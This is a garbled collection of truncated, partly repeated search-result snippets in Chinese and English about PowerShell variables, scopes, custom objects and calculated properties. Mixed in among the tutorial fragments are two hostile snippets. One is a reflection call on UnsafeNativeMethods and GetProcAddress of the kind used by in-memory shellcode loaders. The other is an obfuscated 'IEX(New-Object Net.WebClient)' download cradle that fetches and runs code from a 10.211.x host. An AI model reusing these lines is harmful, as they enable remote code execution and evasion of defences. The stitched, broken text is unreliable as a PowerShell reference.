Clear-Variable:删除一个或多个变量的值 Remove-Variable:删除一个或多个变量 由于变量是一个项 (§3.3),所以它可以被大多数与项相关的 cmdlet 操作。 表示变量的对象的类型在 §4.5.3中介绍。 变量对象存储在驱动器变量上:(§3.1)。 3.2 工作位置 当前工作位置 是命令指向的默认位置。 如果在调用命令时未提...
从哈希表Create自定义对象 自定义对象非常有用,使用哈希表方法可以轻松创建。PSCustomObject类是专门为此目的设计的。 自定义对象是从函数或脚本返回自定义输出的好方法。 这比返回无法重新格式化或通过管道传递给其他命令的格式化输出更有用。 中的Test-Object function命令设置一些变量值,然后使用这些值创建自定义对象。
+ New-Variable <<< a -value 1 -option Constant + CategoryInfo : ResourceExists: (a:String) [New-Variable], SessionStateException + FullyQualifiedErrorId : VariableAlreadyExists,Microsoft.PowerShell.Commands.NewVariableCommand 所以这种变量的作用域限制可以把变量的冲突降到最小。 设置单个变量的作用域 ...
$var_procedure)6$var_unsafe_native_methods= ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {$_.GlobalAssemblyCache-And$_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')7$var_gpa=$var_unsafe_native_methods.GetMethod('GetProcAddress...
The commands in theTest-Object functionset some variable values and then use those values to create a custom object. You can see this object in use in the example section of theUpdate-Helpcmdlet help topic. PowerShell functionTest-Object{$ModuleName="PSScheduledJob"$HelpCulture="en-us"$Help...
# Add a custom property to calculate the size in KiloBytes of each FileInfo # object you pass in. Use the pipeline variable to divide each file's length by # 1 KiloBytes $size = @{Label="Size(KB)";Expression={$_.Length/1KB}} # Create an additional calculated property with the ...
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211....
The commands in theTest-Object functionset some variable values and then use those values to create a custom object. You can see this object in use in the example section of theUpdate-Helpcmdlet help topic. PowerShell functionTest-Object{$ModuleName="PSScheduledJob"$HelpCulture="en-us"$Help...
object you pass in. Use the pipeline variable to divide each file's length by# 1 KiloBytes$size= @{Label="Size(KB)";Expression={$_.Length/1KB}}# Create an additional calculated property with the number of Days since the# file was last accessed. You can also shorten the key names to...
1、当前文件夹运行命令 进入存放脚本文件的命令，然后执行：.\psl1脚本文件 我的脚本文件存放在F盘的...